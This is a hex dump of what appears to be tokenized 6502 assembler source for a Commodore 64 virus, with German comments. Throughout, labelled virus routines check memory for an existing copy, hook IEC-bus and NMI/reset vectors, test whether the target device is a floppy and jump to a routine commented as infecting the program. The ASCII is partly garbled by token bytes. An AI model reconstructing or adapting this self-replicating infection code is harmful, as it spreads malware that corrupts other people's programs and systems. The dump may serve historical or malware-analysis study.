000031B0: 50 4C 41 00 C0 39 38 3B 4A 53 52 20 50 41 50 41 |PLA..98;JSR PAPA|
000031C0: 00 C8 39 42 3B 50 4C 41 00 D5 39 4C 3B 4A 4D 50 |..9B;PLA..9L;JMP|
000031D0: 20 50 41 50 41 00 F4 39 80 3E 3B AB AB AB AB 49 | PAPA..9.>;....I|
000031E0: 45 43 4C 49 4E 4B AB AB AB AB AB AB AB AB AB AB |ECLINK..........|
000031F0: AB AB AB B1 00 14 3A 81 3E 3B 49 45 43 42 55 53 |......:.>;IECBUS|
00003200: AB 52 4F 55 54 49 4E 45 4E 20 55 45 42 45 52 20 |.ROUTINEN UEBER |
00003210: 4C 49 4E 4B 00 24 3A 82 3E 3B 41 55 53 46 55 45 |LINK.$:.>;AUSFUE|
00003220: 48 52 45 4E 00 48 3A 8A 3E 42 4C 41 43 4B 42 49 |HREN.H:.>BLACKBI|
00003230: 52 44 20 4A 53 52 20 4D 41 4B 45 20 3A 20 4A 53 |RD JSR MAKE : JS|
00003240: 52 20 53 45 54 50 41 52 00 50 3A 94 3E 52 54 53 |R SETPAR.P:.>RTS|
00003250: 00 73 3A 9E 3E 48 41 43 B5 4F 53 48 20 4A 53 52 |.s:.>HAC.OSH JSR|
00003260: 20 4D 41 4B 45 20 3A 20 4A 53 52 20 53 45 54 4E | MAKE : JSR SETN|
00003270: 41 4D 45 00 7B 3A A8 3E 52 54 53 00 9D 3A B2 3E |AME.{:.>RTS..:.>|
00003280: 48 41 4E 53 20 20 20 20 20 20 4A 53 52 20 4D 41 |HANS JSR MA|
00003290: 4B 45 20 3A 20 4A 53 52 20 49 45 43 9F 00 A5 3A |KE : JSR IEC...:|
000032A0: BC 3E 52 54 53 00 C7 3A C6 3E 54 48 4F 4D 41 53 |.>RTS..:.>THOMAS|
000032B0: 20 20 20 20 4A 53 52 20 4D 41 4B 45 20 3A 20 4A | JSR MAKE : J|
000032C0: 53 52 20 53 45 4B 9B 00 CF 3A D0 3E 52 54 53 00 |SR SEK...:.>RTS.|
000032D0: F4 3A DA 3E 43 48 52 49 53 54 49 4E 45 20 4A 53 |.:.>CHRISTINE JS|
000032E0: 52 20 4D 41 4B 45 20 3A 20 4A 53 52 20 53 45 4B |R MAKE : JSR SEK|
000032F0: 54 41 4C 4B 00 FC 3A E4 3E 52 54 53 00 1B 3B EE |TALK..:.>RTS..;.|
00003300: 3E 4E 45 4D 4F 20 20 20 20 20 20 4A 53 52 20 4D |>NEMO JSR M|
00003310: 41 4B 45 20 3A 20 4A 53 52 20 9B 00 23 3B F8 3E |AKE : JSR ..#;.>|
00003320: 52 54 53 00 45 3B 02 3F 53 41 53 4B 49 41 20 20 |RTS.E;.?SASKIA |
00003330: 20 20 4A 53 52 20 4D 41 4B 45 20 3A 20 4A 53 52 | JSR MAKE : JSR|
00003340: 20 54 41 4C 4B 00 4D 3B 0C 3F 52 54 53 00 6E 3B | TALK.M;.?RTS.n;|
00003350: 16 3F 47 41 52 46 49 45 4C 44 20 20 4A 53 52 20 |.?GARFIELD JSR |
00003360: 4D 41 4B 45 20 3A 20 4A 53 52 20 55 4E 9B 00 76 |MAKE : JSR UN..v|
00003370: 3B 20 3F 52 54 53 00 9A 3B 2A 3F 53 55 48 41 4C |; ?RTS..;*?SUHAL|
00003380: 20 20 20 20 20 4A 53 52 20 4D 41 4B 45 20 3A 20 | JSR MAKE : |
00003390: 4A 53 52 20 55 4E 54 41 4C 4B 00 A2 3B 34 3F 52 |JSR UNTALK..;4?R|
000033A0: 54 53 00 C6 3B 3E 3F 50 41 50 41 20 20 20 20 20 |TS..;>?PAPA |
000033B0: 20 4A 53 52 20 4D 41 4B 45 20 3A 20 4A 53 52 20 | JSR MAKE : JSR |
000033C0: 49 45 43 4F 55 54 00 CE 3B 48 3F 52 54 53 00 F0 |IECOUT..;H?RTS..|
000033D0: 3B 52 3F 42 48 50 20 20 20 20 20 20 20 4A 53 52 |;R?BHP JSR|
000033E0: 20 4D 41 4B 45 20 3A 20 4A 53 52 20 49 45 43 A1 | MAKE : JSR IEC.|
000033F0: 00 F8 3B 5C 3F 52 54 53 00 17 3C 66 3F 46 4A 53 |..;\?RTS..<f?FJS|
00003400: 20 20 20 20 20 20 20 4A 53 52 20 4D 41 4B 45 20 | JSR MAKE |
00003410: 3A 20 4A 53 52 20 A0 00 1F 3C 70 3F 52 54 53 00 |: JSR ...<p?RTS.|
00003420: 3C 3C 20 4E 3B AB AB 42 45 54 52 49 45 42 53 9E |<< N;..BETRIEBS.|
00003430: 54 45 4D AB 41 55 46 52 55 46 AB B1 00 5F 3C 2A |TEM.AUFRUF..._<*|
00003440: 4E 4D 41 4B 45 20 50 48 50 20 20 20 20 3B 50 52 |NMAKE PHP ;PR|
00003450: 4F 5A 45 53 53 B0 AB 52 45 47 49 53 54 45 52 00 |OZESS..REGISTER.|
00003460: 77 3C 34 4E 50 48 41 20 20 20 20 20 20 20 20 20 |w<4NPHA |
00003470: 3B 52 45 54 54 45 4E 00 7F 3C 3E 4E 54 58 41 00 |;RETTEN..<>NTXA.|
00003480: 87 3C 48 4E 50 48 41 00 8F 3C 52 4E 54 59 41 00 |.<HNPHA..<RNTYA.|
00003490: 97 3C 5C 4E 50 48 41 00 BA 3C 66 4E 54 53 58 20 |.<\NPHA..<fNTSX |
000034A0: 20 20 20 20 20 20 20 20 3B 52 55 45 43 4B 4B 45 | ;RUECKKE|
000034B0: 48 52 AB 41 44 52 45 53 53 45 00 D5 3C 70 4E 54 |HR.ADRESSE..<pNT|
000034C0: 58 41 20 20 20 20 20 20 20 20 20 3B 42 45 52 45 |XA ;BERE|
000034D0: 43 48 4E 45 4E 00 DD 3C 7A 4E 43 4C 43 00 E8 3C |CHNEN..<zNCLC..<|
000034E0: 84 4E 41 44 43 20 23 35 00 F0 3C 8E 4E 54 41 58 |.NADC #5..<.NTAX|
000034F0: 00 02 3D 98 4E 4C 44 41 20 24 30 31 30 30 2C 58 |..=.NLDA $0100,X|
00003500: 20 3B 00 1A 3D A2 4E 53 54 41 20 4D 45 4D 31 20 | ;..=.NSTA MEM1 |
00003510: 20 20 20 3B 4D 45 52 4B 45 4E 00 2C 3D AC 4E 43 | ;MERKEN.,=.NC|
00003520: 4C 43 20 20 20 20 20 20 20 20 20 3B 00 4C 3D B6 |LC ;.L=.|
00003530: 4E 41 44 43 20 23 33 20 20 20 20 20 20 3B 55 4E |NADC #3 ;UN|
00003540: 44 20 4B B0 52 49 47 49 45 52 45 4E 00 5C 3D C0 |D K.RIGIEREN.\=.|
00003550: 4E 53 54 41 20 24 30 31 30 30 2C 58 00 7D 3D CA |NSTA $0100,X.}=.|
00003560: 4E 50 48 50 20 20 20 20 20 20 20 20 20 3B 44 41 |NPHP ;DA|
00003570: 53 20 47 4C 45 49 43 48 45 20 4D 49 54 00 9A 3D |S GLEICHE MIT..=|
00003580: D4 4E 49 4E 58 20 20 20 20 20 20 20 20 20 3B 44 |.NINX ;D|
00003590: 45 4D 20 4C 4F AB 42 59 54 45 00 A2 3D DE 4E 50 |EM LO.BYTE..=.NP|
000035A0: 4C 50 00 B2 3D E8 4E 4C 44 41 20 24 30 31 30 30 |LP..=.NLDA $0100|
000035B0: 2C 58 00 BF 3D F2 4E 53 54 41 20 4D 45 4D 32 00 |,X..=.NSTA MEM2.|
000035C0: CA 3D FC 4E 41 44 43 20 23 30 00 DA 3D 06 4F 53 |.=.NADC #0..=.OS|
000035D0: 54 41 20 24 30 31 30 30 2C 58 00 E5 3D 10 4F 4C |TA $0100,X..=.OL|
000035E0: 44 59 20 23 33 00 F9 3D 1A 4F 4D 31 20 4C 44 41 |DY #3..=.OM1 LDA|
000035F0: 20 28 4D 45 4D 31 29 2C 59 00 1C 3E 24 4F 53 54 | (MEM1),Y..>$OST|
00003600: 41 20 4C 49 4E 4B AB 31 2C 59 3B 50 52 4F 47 52 |A LINK.1,Y;PROGR|
00003610: 41 4D 4D 54 45 49 4C 20 4E 41 43 48 00 3B 3E 2E |AMMTEIL NACH.;>.|
00003620: 4F 44 45 59 20 20 20 20 20 20 20 20 20 3B 4C 49 |ODEY ;LI|
00003630: 4E 4B 20 4B 4F 50 49 45 52 45 4E 00 46 3E 38 4F |NK KOPIEREN.F>8O|
00003640: 42 4E 45 20 4D 31 00 6B 3E 42 4F 50 4C 41 20 20 |BNE M1.k>BOPLA |
00003650: 20 20 20 20 20 20 20 3B 52 45 47 49 53 54 45 52 | ;REGISTER|
00003660: 20 52 45 50 41 52 49 45 52 45 4E 00 73 3E 4C 4F | REPARIEREN.s>LO|
00003670: 54 41 59 00 7B 3E 56 4F 50 4C 41 00 83 3E 60 4F |TAY.{>VOPLA..>`O|
00003680: 54 41 58 00 8B 3E 6A 4F 50 4C 41 00 93 3E 74 4F |TAX..>jOPLA..>tO|
00003690: 50 4C 50 00 B3 3E 7E 4F 4A 4D 50 20 4C 49 4E 4B |PLP..>~OJMP LINK|
000036A0: AA 34 20 20 3B 55 4E 44 20 41 55 53 46 55 45 48 |.4 ;UND AUSFUEH|
000036B0: 52 45 4E 00 D1 3E 30 75 3B AB AB AB AB AB AB 9E |REN..>0u;.......|
000036C0: 54 45 4D AB AB AB AB AB AB AB AB AB AB AB AB B1 |TEM.............|
000036D0: 9E 00 E4 3E 3A 75 9E 54 45 4D 20 4C 44 41 20 24 |...>:u.TEM LDA $|
000036E0: 46 46 46 41 00 06 3F 44 75 50 48 41 20 20 20 20 |FFFA..?DuPHA |
000036F0: 20 20 20 20 20 3B 4E 4D 49 AB 56 45 4B A4 52 20 | ;NMI.VEK.R |
00003700: 52 45 54 54 45 4E 00 18 3F 4E 75 4C 44 41 20 24 |RETTEN..?NuLDA $|
00003710: 46 46 46 42 20 20 20 3B 00 2A 3F 58 75 50 48 41 |FFFB ;.*?XuPHA|
00003720: 20 20 20 20 20 20 20 20 20 3B 00 49 3F 62 75 4C | ;.I?buL|
00003730: 44 41 20 23 B3 8E 3B 55 4E 44 20 41 55 46 20 52 |DA #..;UND AUF R|
00003740: 54 49 20 53 45 54 5A 45 4E 00 5B 3F 6C 75 53 54 |TI SETZEN.[?luST|
00003750: 41 20 24 46 46 46 41 20 20 20 3B 00 67 3F 76 75 |A $FFFA ;.g?vu|
00003760: 4C 44 41 20 23 B1 8E 00 75 3F 80 75 53 54 41 20 |LDA #...u?.uSTA |
00003770: 24 46 46 46 42 00 87 3F 8A 75 4C 44 41 20 4D 45 |$FFFB..?.uLDA ME|
00003780: 4D 31 20 20 20 20 3B 00 99 3F 94 75 50 48 41 20 |M1 ;..?.uPHA |
00003790: 20 20 20 20 20 20 20 20 3B 00 AB 3F 9E 75 4C 44 | ;..?.uLD|
000037A0: 41 20 4D 45 4D 32 20 20 20 20 3B 00 CE 3F A8 75 |A MEM2 ;..?.u|
000037B0: 50 48 41 20 20 20 20 20 20 20 20 20 3B 44 49 56 |PHA ;DIV|
000037C0: 45 52 53 45 20 53 50 45 49 43 48 45 52 AB 00 EF |ERSE SPEICHER...|
000037D0: 3F B2 75 4C 44 41 20 4D 45 4D 33 20 20 20 20 3B |?.uLDA MEM3 ;|
000037E0: 53 54 45 4C C3 20 52 45 54 54 45 4E 2E 2E 2E 00 |STEL. RETTEN....|
000037F0: 01 40 BC 75 50 48 41 20 20 20 20 20 20 20 20 20 |.@.uPHA |
00003800: 3B 00 13 40 C6 75 4C 44 41 20 4D 45 4D 34 20 20 |;..@.uLDA MEM4 |
00003810: 20 20 3B 00 25 40 D0 75 50 48 41 20 20 20 20 20 | ;.%@.uPHA |
00003820: 20 20 20 20 3B 00 46 40 DA 75 54 58 41 20 20 20 | ;.F@.uTXA |
00003830: 20 20 20 20 20 20 3B 58 AA 59 20 56 B0 55 45 42 | ;X.Y V.UEB|
00003840: 45 52 47 45 48 80 00 5E 40 E4 75 50 48 41 20 20 |ERGEH..^@.uPHA |
00003850: 20 20 20 20 20 20 20 3B 52 45 54 54 45 4E 00 66 | ;RETTEN.f|
00003860: 40 EE 75 54 59 41 00 6E 40 F8 75 50 48 41 00 92 |@.uTYA.n@.uPHA..|
00003870: 40 F9 75 4A 53 52 20 52 45 49 4E 53 54 20 20 3B |@.uJSR REINST ;|
00003880: 5A 45 49 47 45 52 20 55 45 42 45 52 50 52 55 46 |ZEIGER UEBERPRUF|
00003890: 45 4E 00 B2 40 FA 75 50 4C 41 20 20 20 20 20 20 |EN..@.uPLA |
000038A0: 20 20 20 3B 58 AA 59 20 57 49 45 44 45 52 20 48 | ;X.Y WIEDER H|
000038B0: 4F C3 00 BA 40 FB 75 54 41 59 00 C2 40 FC 75 50 |O...@.uTAY..@.uP|
000038C0: 4C 41 00 CA 40 FD 75 54 41 58 00 D9 40 03 76 4C |LA..@.uTAX..@.vL|
000038D0: 44 41 20 49 52 51 50 AA 31 00 E1 40 04 76 50 48 |DA IRQP.1..@.vPH|
000038E0: 41 00 EE 40 05 76 4C 44 41 20 49 52 51 50 00 F6 |A..@.vLDA IRQP..|
000038F0: 40 06 76 50 48 41 00 10 41 0C 76 4C 44 41 20 23 |@.vPHA..A.vLDA #|
00003900: B3 49 52 51 45 20 20 3B B5 45 52 52 55 50 54 53 |.IRQE ;.ERRUPTS|
00003910: 00 2E 41 16 76 53 54 41 20 49 52 51 50 20 20 20 |..A.vSTA IRQP |
00003920: 20 3B 45 4E 54 53 43 48 41 45 52 46 45 4E 00 3D | ;ENTSCHAERFEN.=|
00003930: 41 20 76 4C 44 41 20 23 B1 49 52 51 45 00 4C 41 |A vLDA #.IRQE.LA|
00003940: 2A 76 53 54 41 20 49 52 51 50 AA 31 00 5B 41 34 |*vSTA IRQP.1.[A4|
00003950: 76 4C 44 41 20 23 B3 4E 4D 49 45 00 68 41 3E 76 |vLDA #.NMIE.hA>v|
00003960: 53 54 41 20 4E 4D 49 50 00 77 41 48 76 4C 44 41 |STA NMIP.wAHvLDA|
00003970: 20 23 B1 4E 4D 49 45 00 86 41 52 76 53 54 41 20 | #.NMIE..ARvSTA |
00003980: 4E 4D 49 50 AA 31 00 8E 41 53 76 54 58 41 00 AA |NMIP.1..ASvTXA..|
00003990: 41 54 76 50 48 41 20 20 20 20 20 20 20 20 20 3B |ATvPHA ;|
000039A0: 58 AA 59 20 52 45 54 54 45 4E 00 BC 41 55 76 54 |X.Y RETTEN..AUvT|
000039B0: 59 41 20 20 20 20 20 20 20 20 20 3B 00 CE 41 56 |YA ;..AV|
000039C0: 76 50 48 41 20 20 20 20 20 20 20 20 20 3B 00 F0 |vPHA ;..|
000039D0: 41 5C 76 54 53 58 20 20 20 20 20 20 20 20 20 3B |A\vTSX ;|
000039E0: 50 41 52 41 4D 45 54 45 52 20 41 55 46 47 8A 44 |PARAMETER AUFG.D|
000039F0: 00 16 42 66 76 54 58 41 20 20 20 20 20 20 20 20 |..BfvTXA |
00003A00: 20 3B 44 45 53 20 53 54 41 43 4B 53 20 42 45 52 | ;DES STACKS BER|
00003A10: 45 43 48 4E 45 4E 00 28 42 70 76 43 4C 43 20 20 |ECHNEN.(BpvCLC |
00003A20: 20 20 20 20 20 20 20 3B 00 3A 42 7A 76 41 44 43 | ;.:BzvADC|
00003A30: 20 23 31 36 20 20 20 20 20 3B 00 42 42 84 76 54 | #16 ;.BB.vT|
00003A40: 41 58 00 4A 42 8E 76 43 4C 43 00 69 42 98 76 4C |AX.JB.vCLC.iB.vL|
00003A50: 44 41 20 24 30 31 30 30 2C 58 20 3B 4C 4F AB 5A |DA $0100,X ;LO.Z|
00003A60: 45 49 47 45 52 20 48 4F C3 00 88 42 A2 76 41 44 |EIGER HO...B.vAD|
00003A70: 43 20 23 31 20 20 20 20 20 20 3B 52 55 45 43 4B |C #1 ;RUECK|
00003A80: 53 50 8A 47 20 4E 45 55 00 A7 42 AC 76 53 54 41 |SP.G NEU..B.vSTA|
00003A90: 20 4D 45 4D 31 20 20 20 20 3B 42 45 52 45 43 48 | MEM1 ;BERECH|
00003AA0: 4E 45 4E 20 55 4E 44 00 C2 42 B6 76 53 54 41 20 |NEN UND..B.vSTA |
00003AB0: 24 30 31 30 30 2C 58 20 3B 53 50 45 49 43 48 45 |$0100,X ;SPEICHE|
00003AC0: 52 4E 00 D4 42 C0 76 50 48 50 20 20 20 20 20 20 |RN..B.vPHP |
00003AD0: 20 20 20 3B 00 E6 42 CA 76 49 4E 58 20 20 20 20 | ;..B.vINX |
00003AE0: 20 20 20 20 20 3B 00 0A 43 D4 76 50 4C 50 20 20 | ;..C.vPLP |
00003AF0: 20 20 20 20 20 20 20 3B 44 41 53 20 47 4C 45 49 | ;DAS GLEI|
00003B00: 43 48 45 20 4D 49 54 20 48 49 00 1C 43 DE 76 4C |CHE MIT HI..C.vL|
00003B10: 44 41 20 24 30 31 30 30 2C 58 20 3B 00 2E 43 E8 |DA $0100,X ;..C.|
00003B20: 76 41 44 43 20 23 30 20 20 20 20 20 20 3B 00 40 |vADC #0 ;.@|
00003B30: 43 F2 76 53 54 41 20 4D 45 4D 32 20 20 20 20 3B |C.vSTA MEM2 ;|
00003B40: 00 52 43 FC 76 53 54 41 20 24 30 31 30 30 2C 58 |.RC.vSTA $0100,X|
00003B50: 20 3B 00 5D 43 06 77 4C 44 59 20 23 30 00 6E 43 | ;.]C.wLDY #0.nC|
00003B60: 10 77 4C 44 41 20 28 4D 45 4D 31 29 2C 59 00 7B |.wLDA (MEM1),Y.{|
00003B70: 43 1A 77 43 4D 50 20 23 31 32 38 00 86 43 24 77 |C.wCMP #128..C$w|
00003B80: 42 45 51 20 9E 93 00 92 43 2E 77 43 4D 50 20 23 |BEQ ....C.wCMP #|
00003B90: 36 34 00 9D 43 38 77 42 45 51 20 9E 94 00 A9 43 |64..C8wBEQ ....C|
00003BA0: 42 77 43 4D 50 20 23 31 36 00 B6 43 4C 77 42 45 |BwCMP #16..CLwBE|
00003BB0: 51 20 9E 4E 4D 49 00 C6 43 74 77 9E 80 20 4A 53 |Q .NMI..Ctw.. JS|
00003BC0: 52 20 4D 41 4B 45 00 E9 43 7E 77 4C 44 41 20 4E |R MAKE..C~wLDA N|
00003BD0: 4D 49 54 41 48 20 20 3B 4E 4D 49 AB 54 49 4D 45 |MITAH ;NMI.TIME|
00003BE0: 52 20 41 42 46 52 41 47 45 00 F7 43 88 77 42 45 |R ABFRAGE..C.wBE|
00003BF0: 51 20 9E 80 20 20 3B 00 09 44 92 77 4A 53 52 20 |Q .. ;..D.wJSR |
00003C00: 4D 41 4B 45 20 20 20 20 3B 00 1B 44 9C 77 4C 44 |MAKE ;..D.wLD|
00003C10: 41 20 4E 4D 49 54 42 48 20 20 3B 00 26 44 A6 77 |A NMITBH ;.&D.w|
00003C20: 42 45 51 20 9E 80 00 40 44 A7 77 50 4C 41 20 20 |BEQ ...@D.wPLA |
00003C30: 20 20 20 20 20 20 20 3B 52 45 47 49 53 54 45 52 | ;REGISTER|
00003C40: 00 5E 44 A8 77 54 41 59 20 20 20 20 20 20 20 20 |.^D.wTAY |
00003C50: 20 3B 52 45 53 54 41 55 52 49 45 52 45 4E 00 66 | ;RESTAURIEREN.f|
00003C60: 44 A9 77 50 4C 41 00 6E 44 AA 77 54 41 58 00 8E |D.wPLA.nD.wTAX..|
00003C70: 44 B0 77 50 4C 41 20 20 20 20 20 20 20 20 20 3B |D.wPLA ;|
00003C80: B5 45 52 55 50 54 53 20 57 49 45 44 45 52 00 AC |.ERUPTS WIEDER..|
00003C90: 44 BA 77 53 54 41 20 49 52 51 50 20 20 20 20 3B |D.wSTA IRQP ;|
00003CA0: 52 45 B0 47 41 4E 49 53 49 45 52 4E 00 B4 44 C4 |RE.GANISIERN..D.|
00003CB0: 77 50 4C 41 00 C3 44 CE 77 53 54 41 20 49 52 51 |wPLA..D.wSTA IRQ|
00003CC0: 50 AA 31 00 D2 44 D8 77 4C 44 41 20 23 B3 4E 4D |P.1..D.wLDA #.NM|
00003CD0: 49 31 00 DF 44 E2 77 53 54 41 20 4E 4D 49 50 00 |I1..D.wSTA NMIP.|
00003CE0: EE 44 EC 77 4C 44 41 20 23 B1 4E 4D 49 31 00 FD |.D.wLDA #.NMI1..|
00003CF0: 44 F6 77 53 54 41 20 4E 4D 49 50 AA 31 00 1B 45 |D.wSTA NMIP.1..E|
00003D00: 28 78 9E 9A 20 50 4C 41 20 3B 44 49 56 45 52 53 |(x.. PLA ;DIVERS|
00003D10: 45 20 53 50 45 49 43 48 45 52 AB 00 32 45 32 78 |E SPEICHER..2E2x|
00003D20: 53 54 41 20 4D 45 4D 34 20 20 20 20 3B 53 54 45 |STA MEM4 ;STE|
00003D30: 4C C3 00 4E 45 3C 78 50 4C 41 20 20 20 20 20 20 |L..NE<xPLA |
00003D40: 20 20 20 3B 52 45 50 41 52 49 45 52 45 4E 00 5B | ;REPARIEREN.[|
00003D50: 45 46 78 53 54 41 20 4D 45 4D 33 00 63 45 50 78 |EFxSTA MEM3.cEPx|
00003D60: 50 4C 41 00 70 45 5A 78 53 54 41 20 4D 45 4D 32 |PLA.pEZxSTA MEM2|
00003D70: 00 78 45 64 78 50 4C 41 00 85 45 6E 78 53 54 41 |.xEdxPLA..EnxSTA|
00003D80: 20 4D 45 4D 31 00 AA 45 78 78 50 4C 41 20 20 20 | MEM1..ExxPLA |
00003D90: 20 20 20 20 20 20 3B 4E 4D 49 56 45 4B A4 52 20 | ;NMIVEK.R |
00003DA0: 52 45 50 41 52 49 45 52 45 4E 00 B8 45 82 78 53 |REPARIEREN..E.xS|
00003DB0: 54 41 20 24 46 46 46 42 00 C0 45 8C 78 50 4C 41 |TA $FFFB..E.xPLA|
00003DC0: 00 CE 45 96 78 53 54 41 20 24 46 46 46 41 00 D6 |..E.xSTA $FFFA..|
00003DD0: 45 A0 78 52 54 53 00 F3 45 18 79 3B AB AB AB AB |E.xRTS..E.y;....|
00003DE0: 56 49 52 55 53 AB 93 AB 52 4F 55 54 49 4E 45 AB |VIRUS...ROUTINE.|
00003DF0: AB B1 4C 00 02 46 22 79 9E 93 20 20 4C 44 59 20 |..L..F"y.. LDY |
00003E00: 23 31 00 15 46 2C 79 4C 44 41 20 28 42 41 53 49 |#1..F,yLDA (BASI|
00003E10: 43 53 29 2C 59 00 37 46 36 79 42 45 51 20 9E 80 |CS),Y.7F6yBEQ ..|
00003E20: 20 20 3B 55 45 42 45 52 50 52 55 45 46 45 20 4F | ;UEBERPRUEFE O|
00003E30: 42 20 56 49 52 55 53 00 59 46 40 79 4C 44 59 20 |B VIRUS.YF@yLDY |
00003E40: 23 33 31 20 20 20 20 20 3B 53 43 48 91 20 49 4D |#31 ;SCH. IM|
00003E50: 20 53 50 45 49 43 48 45 52 00 6E 46 4A 79 4C 44 | SPEICHER.nFJyLD|
00003E60: 58 20 23 32 36 20 20 20 20 20 3B 49 53 54 00 84 |X #26 ;IST..|
00003E70: 46 54 79 4C 31 20 4C 44 41 20 28 42 41 53 49 43 |FTyL1 LDA (BASIC|
00003E80: 53 29 2C 59 00 94 46 5E 79 43 4D 50 20 56 49 52 |S),Y..F^yCMP VIR|
00003E90: 55 53 2C 58 00 B5 46 68 79 42 4E 45 20 9E 94 20 |US,X..FhyBNE .. |
00003EA0: 3B 4E 45 49 4E 2C 20 44 41 4E 4E 20 56 45 52 53 |;NEIN, DANN VERS|
00003EB0: 45 55 43 48 45 00 BD 46 72 79 44 45 59 00 C5 46 |EUCHE..FryDEY..F|
00003EC0: 7C 79 44 45 58 00 D0 46 86 79 42 4E 45 20 4C 31 ||yDEX..F.yBNE L1|
00003ED0: 00 EE 46 90 79 50 4C 41 20 20 20 20 20 20 20 20 |..F.yPLA |
00003EE0: 20 3B 80 41 44 52 45 53 53 45 20 48 4F C3 00 FB | ;.ADRESSE HO...|
00003EF0: 46 9A 79 53 54 41 20 93 45 AA 31 00 03 47 A4 79 |F.ySTA .E.1..G.y|
00003F00: 50 4C 41 00 0E 47 AE 79 53 54 41 20 93 45 00 34 |PLA..G.ySTA .E.4|
00003F10: 47 B8 79 4A 53 52 20 4D 4F 56 45 20 20 20 20 3B |G.yJSR MOVE ;|
00003F20: 50 52 4F 47 52 41 4D 4D 20 49 4D 20 53 50 45 49 |PROGRAMM IM SPEI|
00003F30: 43 48 45 52 00 4E 47 C2 79 4C 44 41 20 93 45 20 |CHER.NG.yLDA .E |
00003F40: 20 20 3B 56 45 52 53 43 48 49 45 42 45 4E 00 56 | ;VERSCHIEBEN.V|
00003F50: 47 CC 79 50 48 41 00 6D 47 D6 79 4C 44 41 20 93 |G.yPHA.mG.yLDA .|
00003F60: 45 AA 31 20 3B 93 41 44 52 45 53 53 45 00 89 47 |E.1 ;.ADRESSE..G|
00003F70: E0 79 50 48 41 20 20 20 20 20 20 20 20 20 3B 4B |.yPHA ;K|
00003F80: B0 52 49 47 49 45 52 45 4E 00 94 47 EA 79 4A 4D |.RIGIEREN..G.yJM|
00003F90: 50 20 9E 80 00 B1 47 00 7D 3B AB AB AB AB 56 49 |P ....G.};....VI|
00003FA0: 52 55 53 AB 94 AB 52 4F 55 54 49 4E 45 AB AB AB |RUS...ROUTINE...|
00003FB0: B1 00 CD 47 0A 7D 9E 94 20 4C 44 41 20 44 45 56 |...G.}.. LDA DEV|
00003FC0: 20 3B 55 45 42 45 52 50 52 55 45 46 45 00 F3 47 | ;UEBERPRUEFE..G|
00003FD0: 14 7D 43 4D 50 20 23 24 30 38 20 20 20 20 20 20 |.}CMP #$08 |
00003FE0: 20 20 3B 4F 42 20 44 45 56 49 43 45 20 46 4C 4F | ;OB DEVICE FLO|
00003FF0: 50 50 59 00 08 48 1E 7D 42 43 43 20 9E 80 20 20 |PPY..H.}BCC .. |
00004000: 20 20 20 20 3B 49 53 54 00 15 48 28 7D 4A 53 52 | ;IST..H(}JSR|
00004010: 20 44 4F 49 54 00 36 48 32 7D 4A 4D 50 20 9E 80 | DOIT.6H2}JMP ..|
00004020: 20 20 3B 50 52 4F 47 52 41 4D 4D 20 56 45 52 53 | ;PROGRAMM VERS|
00004030: 45 55 43 48 45 4E 00 56 48 E8 80 3B AB AB AB AB |EUCHEN.VH..;....|
00004040: 56 49 52 55 53 AB 4E 4D 49 AB 52 4F 55 54 49 4E |VIRUS.NMI.ROUTIN|
00004050: 45 AB AB AB AB B1 00 68 48 F2 80 9E 4E 4D 49 20 |E......hH...NMI |
00004060: 4A 53 52 20 4D 41 4B 45 00 87 48 FC 80 4A 53 52 |JSR MAKE..H..JSR|
00004070: 20 90 20 20 20 3B 90 AB 54 41 53 54 45 20 47 45 | . ;..TASTE GE|
00004080: 44 52 55 45 43 4B 54 00 9B 48 06 81 42 4E 45 20 |DRUECKT..H..BNE |
00004090: 9E 80 20 3B AB AB B1 4E 45 49 4E 00 A8 48 10 81 |.. ;...NEIN..H..|
000040A0: 4A 53 52 20 4D 41 4B 45 00 C7 48 1A 81 4A 53 52 |JSR MAKE..H..JSR|
000040B0: 20 24 46 44 31 35 20 20 3B 56 45 4B A4 52 45 4E | $FD15 ;VEK.REN|
000040C0: 20 53 45 54 5A 45 4E 00 E2 48 24 81 4A 53 52 20 | SETZEN..H$.JSR |
000040D0: 52 45 49 4E 53 54 20 3B 56 49 52 55 53 20 49 4E |REINST ;VIRUS IN|
000040E0: 49 54 00 01 49 2E 81 4C 44 58 20 23 24 30 31 20 |IT..I..LDX #$01 |
000040F0: 20 20 3B 53 54 41 43 4B 20 22 50 55 54 5A 45 4E | ;STACK "PUTZEN|
00004100: 22 00 09 49 38 81 54 58 53 00 16 49 42 81 4A 53 |"..I8.TXS..IB.JS|
00004110: 52 20 4D 41 4B 45 00 39 49 4C 81 4A 4D 50 20 24 |R MAKE.9IL.JMP $|
00004120: 46 45 36 39 20 20 3B 53 C0 44 41 52 54 4E 4D 49 |FE69 ;S.DARTNMI|
00004130: 20 56 B0 53 45 54 5A 45 4E 00 59 49 D0 84 3B AB | V.SETZEN.YI..;.|
00004140: AB 56 49 52 55 53 AB 52 45 53 45 54 AB 52 4F 55 |.VIRUS.RESET.ROU|
00004150: 54 49 4E 45 AB AB AB AB B1 00 6F 49 DA 84 9E 52 |TINE......oI...R|
00004160: 45 53 45 54 20 4A 53 52 20 52 45 4C 49 4E 4B 00 |ESET JSR RELINK.|
00004170: 7A 49 DB 84 4C 44 58 20 23 30 00 87 49 DF 84 4A |zI..LDX #0..I..J|
00004180: 53 52 20 4D 41 4B 45 00 A9 49 E4 84 53 54 58 20 |SR MAKE..I..STX |
00004190: 24 44 30 31 36 20 20 20 3B B0 47 49 4E 41 4C A4 |$D016 ;.GINAL.|
000041A0: 4E 20 22 52 45 53 45 54 22 00 B6 49 F8 84 4A 53 |N "RESET"..I..JS|
000041B0: 52 20 4D 41 4B 45 00 C4 49 02 85 4A 53 52 20 24 |R MAKE..I..JSR $|
000041C0: 46 44 41 33 00 D1 49 16 85 4C 44 41 20 23 24 30 |FDA3..I..LDA #$0|
000041D0: 30 00 D9 49 20 85 54 41 59 00 EC 49 2A 85 9E 52 |0..I .TAY..I*..R|
000041E0: 20 53 54 41 20 24 30 30 30 32 2C 59 00 11 4A 34 | STA $0002,Y..J4|
000041F0: 85 53 54 41 20 24 30 32 30 30 2C 59 20 3B 50 41 |.STA $0200,Y ;PA|
00004200: 47 45 20 30 2C 32 2C 33 20 4C 4F 45 53 43 48 45 |GE 0,2,3 LOESCHE|
00004210: 4E 00 21 4A 3E 85 53 54 41 20 24 30 33 30 30 2C |N.!J>.STA $0300,|
00004220: 59 00 29 4A 48 85 49 4E 59 00 34 4A 52 85 42 4E |Y.)JH.INY.4JR.BN|
00004230: 45 20 9E 52 00 43 4A 5C 85 4A 53 52 20 52 45 4C |E .R.CJ\.JSR REL|
00004240: 49 4E 4B 00 50 4A 66 85 4A 53 52 20 4D 41 4B 45 |INK.PJf.JSR MAKE|
